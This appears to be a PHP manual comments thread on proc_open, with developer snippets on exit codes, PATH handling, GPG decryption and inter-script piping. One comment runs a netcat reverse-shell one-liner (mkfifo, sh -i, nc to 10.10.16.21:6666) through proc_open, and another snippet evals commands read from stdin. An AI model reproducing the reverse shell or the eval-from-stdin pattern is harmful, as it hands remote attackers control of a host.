$ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
if (!
is_resource($ptr))
return
false;

while ((
$buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL
|| ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
if (!isset(
$flag)) {
$pstatus = proc_get_status($ptr);
$first_exitcode = $pstatus["exitcode"];
$flag = true;
}
if (
strlen($buffer))
echo
$buffer;
if (
strlen($errbuf))
echo
"ERR: " . $errbuf;
}

foreach (
$pipes as $pipe)
fclose($pipe);

/* Get the expected *exit* code to return the value */
$pstatus = proc_get_status($ptr);
if (!
strlen($pstatus["exitcode"]) || $pstatus["running"]) {
/* we can trust the retval of proc_close() */
if ($pstatus["running"])
proc_terminate($ptr);
$ret = proc_close($ptr);
} else {
if (((
$first_exitcode + 256) % 256) == 255
&& (($pstatus["exitcode"] + 256) % 256) != 255)
$ret = $pstatus["exitcode"];
elseif (!
strlen($first_exitcode))
$ret = $pstatus["exitcode"];
elseif (((
$first_exitcode + 256) % 256) != 255)
$ret = $first_exitcode;
else
$ret = 0; /* we "deduce" an EXIT_SUCCESS ;) */
proc_close($ptr);
}

return (
$ret + 256) % 256;
}

/* __init__ */
if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
if ((
$ret = proc_exec($argv[1])) === false)
die(
"Error: not enough FD or out of memory.\n");
elseif (
$ret == 127)
die(
"Command not found (returned by sh).\n");
else
exit(
$ret);
}
?>
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2
Gil Potts
1 year ago
This is not really a bug but more of an unexpected gotcha. If you pass in an array for $env and include a modified PATH, that path does not take effect in PHP itself when starting the process. So if you are trying to start an executable in the modified PATH by using just the executable name, PHP and the OS won't find it and therefore will fail to start the process.

The fix is to let PHP know about the modified PATH by calling putenv("PATH=" . $newpath) with the new path string so that the call to proc_open() will correctly locate the executable and successfully run it.
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0
mamedul.github.io
7 months ago
Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

if( function_exists('exec') ){
$output = array();
$return_var = 0;
exec($cmd, $output, $return_var);
return implode( " ", array_values($output) );
}else if( function_exists('shell_exec') ){
return shell_exec($cmd);
}else if( function_exists('system') ){
$return_var = 0;
return system($cmd, $return_var);
}else if( function_exists('passthru') ){
$return_var = 0;
ob_start();
passthru($cmd, $return_var);
$output = ob_get_contents();
ob_end_clean(); //Use this instead of ob_flush()
return $output;
}else if( function_exists('proc_open') ){
$proc=proc_open($cmd,
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
return stream_get_contents($pipes[1]);
}else{
return "@PHP_COMMAND_NOT_SUPPORT";
}

}
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2
snowleopard at amused dot NOSPAMPLEASE dot com dot au
16 years ago
I managed to make a set of functions to work with GPG, since my hosting provider refused to use GPG-ME.
Included below is an example of decryption using a higher descriptor to push a passphrase.
Comments and emails welcome. :)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {

if(!
is_executable($GPGPath)) {
trigger_error($GPGPath . " is not executable",
E_USER_ERROR);
die();
} else {
// Set up the descriptors
$Descriptors = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
3 => array("pipe", "r") // This is the pipe we can feed the password into
);

// Build the command line and start the process
$CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
$ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

if(
is_resource($ProcessHandle)) {
// Push passphrase to custom pipe
fwrite($Pipes[3], $PassPhrase);
fclose($Pipes[3]);

// Push input into StdIn
fwrite($Pipes[0], $InputData);
fclose($Pipes[0]);

// Read StdOut
$StdOut = '';
while(!
feof($Pipes[1])) {
$StdOut .= fgets($Pipes[1], 1024);
}
fclose($Pipes[1]);

// Read StdErr
$StdErr = '';
while(!
feof($Pipes[2])) {
$StdErr .= fgets($Pipes[2], 1024);
}
fclose($Pipes[2]);

// Close the process
$ReturnCode = proc_close($ProcessHandle);

} else {
trigger_error("cannot create resource", E_USER_ERROR);
die();
}
}

if (
strlen($StdOut) >= 1) {
if (
$ReturnCode <= 0) {
$ReturnValue = $StdOut;
} else {
$ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
}
} else {
if (
$ReturnCode <= 0) {
$ReturnValue = $StdErr;
} else {
$ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
}
}
return
$ReturnValue;
}
?>
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2
mendoza at pvv dot ntnu dot no
18 years ago
Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("file","/dev/null", "w") // stderr is a file to write to
);

$process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

if (is_resource($process)) {
// $pipes now looks like this:
// 0 => writeable handle connected to child stdin
// 1 => readable handle connected to child stdout
// Any error output will be appended to /tmp/error-output.txt

fwrite($pipes[0],$password);
fclose($pipes[0]);
fclose($pipes[1]);

// It is important that you close any pipes before calling
// proc_close in order to avoid a deadlock
$return_value = proc_close($process);

return !$return_value;
}
}
?>
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2
picaune at hotmail dot com
18 years ago
The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.
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-2
anony mouse
1 year ago
<?php
$descriptorspec
= array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (
is_resource($process)) {
fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f');
fclose($pipes[0]);
echo
stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo
"command returned $return_value\n";
}
?>
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-1
jonah at whalehosting dot ca
16 years ago
@joachimb: The descriptorspec describes the i/o from the perspective of the process you are opening. That is why stdin is read: you are writing, the process is reading. So you want to open descriptor 2 (stderr) in write mode so that the process can write to it and you can read it. In your case where you want all descriptors to be pipes you should always use:

<?php
$descriptorspec
= array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'w') // stderr
);
?>

The examples below where stderr is opened as 'r' is a mistake.

I would like to see examples of using higher descriptor numbers than 2. Specifically GPG as mentioned in the documentation.
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-3
jaroslaw at pobox dot sk
16 years ago
Some functions stops working proc_open() to me.
This i made to work for me to communicate between two php scripts:

<?php
$abs_path
= '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w"));
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV);
if (
is_resource($process)) {
# wait till something happens on other side
sleep(1);
# send command
fwrite($pipes[0], 'echo $test;');
fflush($pipes[0]);
# wait till something happens on other side
usleep(1000);
# read pipe for result
echo fread($pipes[1],1024).'<hr>';
# close pipes
fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
$return_value = proc_close($process);
}
?>

filename.php then contains this:

<?php
$test
= 'test data generated here<br>';
while(
true) {
# read incoming command
if($fh = fopen('php://stdin','rb')) {
$val_in = fread($fh,1024);
fclose($fh);
}
# execute incoming command
if($val_in)
eval(
$val_in);
usleep(1000);
# prevent neverending cycle
if($tmp_counter++ > 100)
break;
}
?>
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-9
toby at globaloptima dot co dot uk
12 years ago
If script A is spawning script B and script B pushes a lot of data to stdout without script A consuming that data, script B is likely to hang but the result of proc_get_status on that process seems to continue to indicate it's running.

So either don't write to stdout i the spawned process (I write to log files instead now) or try to read in the stdout in a non-blocking way if your script A is spawning many instances of script B, I couldn't get this second option to work sadly.

PHP 5.3.8 CLI on Windows 7 64.
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